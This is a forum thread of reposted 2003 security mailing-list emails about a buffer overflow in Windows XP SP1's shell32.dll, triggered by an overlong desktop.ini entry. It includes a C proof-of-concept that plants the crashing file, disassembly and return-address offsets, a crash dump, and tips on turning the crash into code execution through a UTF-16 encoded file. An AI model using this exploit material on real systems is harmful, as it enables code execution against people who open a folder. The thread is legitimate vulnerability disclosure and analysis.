Likes Likes:  0
Resultaten 1 tot 3 van de 3
Geen
  1. #1
    Executable Security
    Detailed analysis: Buffer overflow in Explorer.exe on Windows XP SP1
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Detailed analysis: Buffer overflow in Explorer.exe on Windows XP SP1

    Hi, there:

    We were able to duplicate what was reported by Kristopher Matthews and aT4r
    InsaN3. Actually, if you have the following test scenario:

    File/Dir Explanation
    C:\
    C:\temp\desktop.ini Overflowing text file
    C:\test directory

    The c:\temp\desktop.ini is the buffer-overflowing text file. Then, it
    crashes not only Explorer.exe, but also Internet Explorer.exe, and
    application programs (it crashed UltraEdit) that use file-open dialog box
    trying to scan the c:\ hard drive. However, you can do the following safely
    from a DOS prompt for the directory c:\test

    Explorer c:\test

    Of course, you cannot browse C:\test from the Explorer.exe GUI starting with
    C:\ root directory because of the overflowing c:\temp\desktop.ini file.
    Actually, I assume the overflowing file, no matter where it is located in
    the subdirectory, will crash the Explorer.exe starting with any directory
    higher above the overflowing desktop.ini file. (did not fully test though).

    Down to the assembly level, this bug lies in the shell32.dll file as such:

    7740F3C3 lea eax, [ebp-21Ch] ; full path to the
    filename \desktop.in
    7740F3C9 push eax
    7740F3CA push 800h ; should be 400h I believe
    7740F3CF lea eax, [ebp-0A1Ch]
    7740F3D5 push eax
    7740F3D6 push offset a_shellclassinf ; ".ShellClassInfo"
    7740F3DB call ds:GetPrivateProfileSectionW

    When GetPrivateProfileSectionW is called, it assumes the buffer to be as
    large as two times of 800h. As you can see, the local buffer is only A1C -
    21C = 800H for this string. So, it overflows if the desktop.ini contains a
    long string. MSDN documents the third parameter for GetPrivateProfileSection
    as such:

    nSize
    Specifies the size, in characters, of the buffer pointed to by the
    lpReturnedString parameter.

    To be precise, the buffer overflowing structure for this bug is such:

    | --------------------- A1C ---------| EBP | RET | -----------------> higher
    address

    The replaceable RET address is located at (A1C+4)/2 = 510.

    Due to the size limitation set by the 800H as well as the fact that the
    overflowing string is converted to Unicode, the chance for executing a
    malicious code (Unicode exploit code as well as exploitable RET address) is
    very limited. That is the reason we are documenting it in details here.

    We do not know how this bug affects shell32.dll files on other Windows
    versions.

    With due credits to those who wrote the emails quoted below.

    Peter Huang
    http://members.rogers.com/exurity/

    -----Original Message-----
    From: Kristopher Matthews [mailto:krism@mailsnare.net]
    Sent: Friday, May 09, 2003 11:43 AM
    To: 'Ryan Yagatich'
    Cc: vuln-dev@securityfocus.com
    Subject: RE: Buffer overflow in Explorer.exe

    I have tested and duplicated this behavior on a fully patched/updated
    Windows XP Pro system.

    1. The overflow is for that particular key, AFAICT.
    1a. It will not work for the root (c:/) directory; explorer.exe does not
    parse 'desktop.ini' for that directory. It will, however, work for any other
    directory.
    2. It crashes explorer.exe (which runs the task bar/start menu, etc) - It
    looks for all the world like a standard buffer overflow; I believe a more
    carefully crafted 'desktop.ini' file could be cause for explorer.exe to
    unintentionally execute arbitrary code.
    3. Download and execute untrusted code? Combine this with any of the other
    popular expoloits for windows; also, it wouldn't be terribly hard to get a
    user to download a 'desktop.ini' file to their "My Documents" directory (in
    the guise, of, say, a folder them, which windows does support; e.g.
    different background, file layout, etc); bam, whenever they open that
    directory, explorer crashes.

    Regards,
    Kristopher


    -----Original Message-----
    From: Ryan Yagatich [mailtoyany@pantek.com]
    Sent: Thursday, May 08, 2003 6:28 PM
    To: at4r@3wdesign.es
    Cc: vuln-dev@securityfocus.com

    Hi,
    I don't quite understand the purpose behind this code. It creates
    a read only file '/aT4r[at]3WDesign.es Security/desktop.ini' with the
    contents of

    [.ShellClassInfo]
    AAAAAAAAAAAA {x2301}


    And then terminates? I don't have a windows machine available to
    really explore this any, but what makes that entry in desktop.ini cause
    this? Furthermore, is this issue only for that particular key or is it
    generally just key/excessive parameter/missing value size that is
    affected? And additionally, you mention that explorer will no longer be
    able to operate when trying to browse the hard disk, but does this mean
    globally, or when they try to browse the c:/ drive, or just that
    particular folder?
    Please send me more information about this, (even if it references
    past posts that I have missed) so that I can better understand the
    severity of this. Espcially since to me, I still see it as someone needing
    to download and execute untrusted software which causes a system crash,
    and if that were going to happen there are far worse things that can be
    done besides creating a small text file.

    Thanks,
    Ryan Yagatich


    ,_________________________________________________ ____,
    \ Ryan Yagatich support@pantek.com \
    / Pantek Incorporated (877) LINUX-FIX /
    \ http://www.pantek.com/security (440) 519-1802 \
    / Are your networks secure? Are you certain? /
    \___E8354282324E636DB5FF7B8A6EDED51FD02C06C68D3DB6 95___\

    On Wed, 7 May 2003, aT4r InsaN3 wrote:

    >This bug allow a malicious an attacker to execute data with privileges of a


    >user that is browsing the hard disk with explorer.
    >
    >tested against winxp SP1
    >
    >example code provided.
    >

    <snip>
    >
    > strcpy(path,"\\aT4r[at]3WDesign.es Security");
    > mkdir(path);
    > SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
    >
    > strcat(path,"\\desktop.ini");


    > bof=fopen(path,"w");
    > fputs("[.ShellClassInfo]\n",bof);
    > memset(evil,'A',BUFF);
    > fputs(evil,bof);
    > fclose(bof);

    <snip>

    -----Original Message-----
    From: aT4r InsaN3 [mailto:at4r@hotmail.com]
    Sent: Wednesday, May 07, 2003 3:54 PM
    To: vuln-dev@securityfocus.com
    Subject: Buffer overflow in Explorer.exe

    This bug allow a malicious an attacker to execute data with privileges of a
    user that is browsing the hard disk with explorer.

    tested against winxp SP1

    example code provided.


    /*

    Buffer Overflow in explorer.exe - Proof of Concept
    Tested only against: Windows XP SP1

    Found by aT4r@3wdesign.es

    Saludos a:
    - #Haxorcitos@efnet= { "Tarako", "Croulder", "Drakar" , "[back]",
    "tyr" }:
    - #localhost and #darknet


    Usage: just execute this file.
    This code will crash your explorer every time you try to
    browse your
    harddisk
    execute this program again to delete the evil file ;-)

    (3ec.464): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00410041 ebx=0012aca8 ecx=77e5e1c4 edx=002f0000 esi=00121b70
    edi=000ece90
    eip=00410041 esp=0177dfb0 ebp=00410041 iopl=0 nv up ei pl zr
    na po
    nc
    cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000
    efl=00010246
    00410041 ?? ???

    3W Design Security 2003. http://www.3WDesign.es/
    */


    #include <direct.h>
    #include <stdio.h>
    #include <windows.h>
    #include <sys/stat.h>

    #define BUFF 2300
    void main(){

    char path[256];
    char evil[BUFF+1]="";
    FILE *bof;
    struct stat st;
    printf("\n . .. ...: \tBuffer overflow in explorer.exe\t\t:... ..
    ..\n . ..
    ....: \tProof of Concept (aT4r@3wdesign.es)\t:... .. .\n\n");
    strcpy(path,"\\aT4r[at]3WDesign.es Security");
    mkdir(path);
    SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);

    strcat(path,"\\desktop.ini");
    if (stat(path,&st)==0)
    { remove(path); exit(1);}//just execute this program twice
    to remote this
    file :P
    bof=fopen(path,"w");
    fputs("[.ShellClassInfo]\n",bof);
    memset(evil,'A',BUFF);
    fputs(evil,bof);
    fclose(bof);
    printf("evil file: %s Created. Try to browse your Harddisk
    O:-)\n",path);


    }

    __________________________________________________ _______________
    Hipotecas para todos los bolsillos con MSN Money.
    http://money.msn.es/hipotecas/default.asp


  2. #2
    nesumin
    Detailed analysis: Buffer overflow in Explorer.exe on Windows XP SP1
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Detailed analysis: Buffer overflow in Explorer.exe on Windows XP SP1

    Hello,

    > Due to the size limitation set by the 800H as well as the fact that the
    > overflowing string is converted to Unicode, the chance for executing a
    > malicious code (Unicode exploit code as well as exploitable RET address) is
    > very limited. That is the reason we are documenting it in details here.


    I could create the exploit code on my Japanese Windows XP SP1.
    Perhaps, I think you can easily create the full exploit code
    by the following;

    * You can directly specify all overwritten data without thinking
    the UNICODE conversion if you create the "desktop.ini" as "UTF-16".
    (Adding BOM and encoding "[.ShellClassInfo]\x0d\x0a".)

    * You can get the code area of about 0xFF4 bytes.
    (Before and after RET address)


    Best Regards.

    ---------------------------------
    nesumin <nesumin@softhome.net>


    -----Original Message-----
    From: "Executable Security" <exurity@rogers.com>
    Sent: Sun, 11 May 2003 03:28:54 -0500
    To: <bugtraq@securityfocus.com>
    Subject: Detailed analysis: Buffer overflow in Explorer.exe on Windows XP SP1


    > Hi, there:
    >
    > We were able to duplicate what was reported by Kristopher Matthews and aT4r
    > InsaN3. Actually, if you have the following test scenario:
    >
    > File/Dir Explanation
    > C:\
    > C:\temp\desktop.ini Overflowing text file
    > C:\test directory
    >
    > The c:\temp\desktop.ini is the buffer-overflowing text file. Then, it
    > crashes not only Explorer.exe, but also Internet Explorer.exe, and
    > application programs (it crashed UltraEdit) that use file-open dialog box
    > trying to scan the c:\ hard drive. However, you can do the following safely
    > from a DOS prompt for the directory c:\test
    >
    > Explorer c:\test
    >
    > Of course, you cannot browse C:\test from the Explorer.exe GUI starting with
    > C:\ root directory because of the overflowing c:\temp\desktop.ini file.
    > Actually, I assume the overflowing file, no matter where it is located in
    > the subdirectory, will crash the Explorer.exe starting with any directory
    > higher above the overflowing desktop.ini file. (did not fully test though).
    >
    > Down to the assembly level, this bug lies in the shell32.dll file as such:
    >
    > 7740F3C3 lea eax, [ebp-21Ch] ; full path to the
    > filename \desktop.in
    > 7740F3C9 push eax
    > 7740F3CA push 800h ; should be 400h I believe
    > 7740F3CF lea eax, [ebp-0A1Ch]
    > 7740F3D5 push eax
    > 7740F3D6 push offset a_shellclassinf ; ".ShellClassInfo"
    > 7740F3DB call ds:GetPrivateProfileSectionW
    >
    > When GetPrivateProfileSectionW is called, it assumes the buffer to be as
    > large as two times of 800h. As you can see, the local buffer is only A1C -
    > 21C = 800H for this string. So, it overflows if the desktop.ini contains a
    > long string. MSDN documents the third parameter for GetPrivateProfileSection
    > as such:
    >
    > nSize
    > Specifies the size, in characters, of the buffer pointed to by the
    > lpReturnedString parameter.
    >
    > To be precise, the buffer overflowing structure for this bug is such:
    >
    > | --------------------- A1C ---------| EBP | RET | -----------------> higher
    > address
    >
    > The replaceable RET address is located at (A1C+4)/2 = 510.
    >
    > Due to the size limitation set by the 800H as well as the fact that the
    > overflowing string is converted to Unicode, the chance for executing a
    > malicious code (Unicode exploit code as well as exploitable RET address) is
    > very limited. That is the reason we are documenting it in details here.
    >
    > We do not know how this bug affects shell32.dll files on other Windows
    > versions.
    >
    > With due credits to those who wrote the emails quoted below.
    >
    > Peter Huang
    > http://members.rogers.com/exurity/
    >
    > -----Original Message-----
    > From: Kristopher Matthews [mailto:krism@mailsnare.net]
    > Sent: Friday, May 09, 2003 11:43 AM
    > To: 'Ryan Yagatich'
    > Cc: vuln-dev@securityfocus.com
    > Subject: RE: Buffer overflow in Explorer.exe
    >
    > I have tested and duplicated this behavior on a fully patched/updated
    > Windows XP Pro system.
    >
    > 1. The overflow is for that particular key, AFAICT.
    > 1a. It will not work for the root (c:/) directory; explorer.exe does not
    > parse 'desktop.ini' for that directory. It will, however, work for any other
    > directory.
    > 2. It crashes explorer.exe (which runs the task bar/start menu, etc) - It
    > looks for all the world like a standard buffer overflow; I believe a more
    > carefully crafted 'desktop.ini' file could be cause for explorer.exe to
    > unintentionally execute arbitrary code.
    > 3. Download and execute untrusted code? Combine this with any of the other
    > popular expoloits for windows; also, it wouldn't be terribly hard to get a
    > user to download a 'desktop.ini' file to their "My Documents" directory (in
    > the guise, of, say, a folder them, which windows does support; e.g.
    > different background, file layout, etc); bam, whenever they open that
    > directory, explorer crashes.
    >
    > Regards,
    > Kristopher
    >
    >
    > -----Original Message-----
    > From: Ryan Yagatich [mailtoyany@pantek.com]
    > Sent: Thursday, May 08, 2003 6:28 PM
    > To: at4r@3wdesign.es
    > Cc: vuln-dev@securityfocus.com
    >
    > Hi,
    > I don't quite understand the purpose behind this code. It creates
    > a read only file '/aT4r[at]3WDesign.es Security/desktop.ini' with the
    > contents of
    >
    > [.ShellClassInfo]
    > AAAAAAAAAAAA {x2301}
    >
    >
    > And then terminates? I don't have a windows machine available to
    > really explore this any, but what makes that entry in desktop.ini cause
    > this? Furthermore, is this issue only for that particular key or is it
    > generally just key/excessive parameter/missing value size that is
    > affected? And additionally, you mention that explorer will no longer be
    > able to operate when trying to browse the hard disk, but does this mean
    > globally, or when they try to browse the c:/ drive, or just that
    > particular folder?
    > Please send me more information about this, (even if it references
    > past posts that I have missed) so that I can better understand the
    > severity of this. Espcially since to me, I still see it as someone needing
    > to download and execute untrusted software which causes a system crash,
    > and if that were going to happen there are far worse things that can be
    > done besides creating a small text file.
    >
    > Thanks,
    > Ryan Yagatich
    >
    >
    > ,_________________________________________________ ____,
    > \ Ryan Yagatich support@pantek.com \
    > / Pantek Incorporated (877) LINUX-FIX /
    > \ http://www.pantek.com/security (440) 519-1802 \
    > / Are your networks secure? Are you certain? /
    > \___E8354282324E636DB5FF7B8A6EDED51FD02C06C68D3DB6 95___\
    >
    > On Wed, 7 May 2003, aT4r InsaN3 wrote:
    >
    > >This bug allow a malicious an attacker to execute data with privileges of a

    >
    > >user that is browsing the hard disk with explorer.
    > >
    > >tested against winxp SP1
    > >
    > >example code provided.
    > >

    > <snip>
    > >
    > > strcpy(path,"\\aT4r[at]3WDesign.es Security");
    > > mkdir(path);
    > > SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
    > >
    > > strcat(path,"\\desktop.ini");

    >
    > > bof=fopen(path,"w");
    > > fputs("[.ShellClassInfo]\n",bof);
    > > memset(evil,'A',BUFF);
    > > fputs(evil,bof);
    > > fclose(bof);

    > <snip>
    >
    > -----Original Message-----
    > From: aT4r InsaN3 [mailto:at4r@hotmail.com]
    > Sent: Wednesday, May 07, 2003 3:54 PM
    > To: vuln-dev@securityfocus.com
    > Subject: Buffer overflow in Explorer.exe
    >
    > This bug allow a malicious an attacker to execute data with privileges of a
    > user that is browsing the hard disk with explorer.
    >
    > tested against winxp SP1
    >
    > example code provided.
    >
    >
    > /*
    >
    > Buffer Overflow in explorer.exe - Proof of Concept
    > Tested only against: Windows XP SP1
    >
    > Found by aT4r@3wdesign.es
    >
    > Saludos a:
    > - #Haxorcitos@efnet= { "Tarako", "Croulder", "Drakar" , "[back]",
    > "tyr" }:
    > - #localhost and #darknet
    >
    >
    > Usage: just execute this file.
    > This code will crash your explorer every time you try to
    > browse your
    > harddisk
    > execute this program again to delete the evil file ;-)
    >
    > (3ec.464): Access violation - code c0000005 (first chance)
    > First chance exceptions are reported before any exception handling.
    > This exception may be expected and handled.
    > eax=00410041 ebx=0012aca8 ecx=77e5e1c4 edx=002f0000 esi=00121b70
    > edi=000ece90
    > eip=00410041 esp=0177dfb0 ebp=00410041 iopl=0 nv up ei pl zr
    > na po
    > nc
    > cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000
    > efl=00010246
    > 00410041 ?? ???
    >
    > 3W Design Security 2003. http://www.3WDesign.es/
    > */
    >
    >
    > #include <direct.h>
    > #include <stdio.h>
    > #include <windows.h>
    > #include <sys/stat.h>
    >
    > #define BUFF 2300
    > void main(){
    >
    > char path[256];
    > char evil[BUFF+1]="";
    > FILE *bof;
    > struct stat st;
    > printf("\n . .. ...: \tBuffer overflow in explorer.exe\t\t:... ..
    > .\n . ..
    > ...: \tProof of Concept (aT4r@3wdesign.es)\t:... .. .\n\n");
    > strcpy(path,"\\aT4r[at]3WDesign.es Security");
    > mkdir(path);
    > SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
    >
    > strcat(path,"\\desktop.ini");
    > if (stat(path,&st)==0)
    > { remove(path); exit(1);}//just execute this program twice
    > to remote this
    > file :P
    > bof=fopen(path,"w");
    > fputs("[.ShellClassInfo]\n",bof);
    > memset(evil,'A',BUFF);
    > fputs(evil,bof);
    > fclose(bof);
    > printf("evil file: %s Created. Try to browse your Harddisk
    > O:-)\n",path);
    >
    >
    > }
    >
    > __________________________________________________ _______________
    > Hipotecas para todos los bolsillos con MSN Money.
    > http://money.msn.es/hipotecas/default.asp



  3. #3
    Executable Security
    Detailed analysis: Buffer overflow in Explorer.exe on Windows XP SP1
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    RE: Detailed analysis: Buffer overflow in Explorer.exe on Windows XP SP1

    Hi:

    > -----Original Message-----
    > From: nesumin [mailto:nesumin@softhome.net]


    > I could create the exploit code on my Japanese Windows XP SP1.
    > Perhaps, I think you can easily create the full exploit code
    > by the following;
    >
    > * You can directly specify all overwritten data without thinking
    > the UNICODE conversion if you create the "desktop.ini" as "UTF-16".
    > (Adding BOM and encoding "[.ShellClassInfo]\x0d\x0a".)
    >
    > * You can get the code area of about 0xFF4 bytes.
    > (Before and after RET address)


    Obviously, I was playing in the ANSI world. Yes, I agree with you that the
    exploit code written in RTF-16 can be created with a size of about 0xFF4
    bytes. A piece of 0xFF4 bytes long exploit code can do a lot. So, my
    previous statement about limited exploitation of this buffer overflow is not
    accurate.

    It should be very easy to fix this bug. I manually modified the 800H to 400h
    in shell32.dll to fix it.

    Thanks a lot for your mention of BOM and UTF-16. Your concept is learnt and
    programmatically reproduced with GetPrivateProfileSectionW.

    Best regards

    Peter Huang


Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics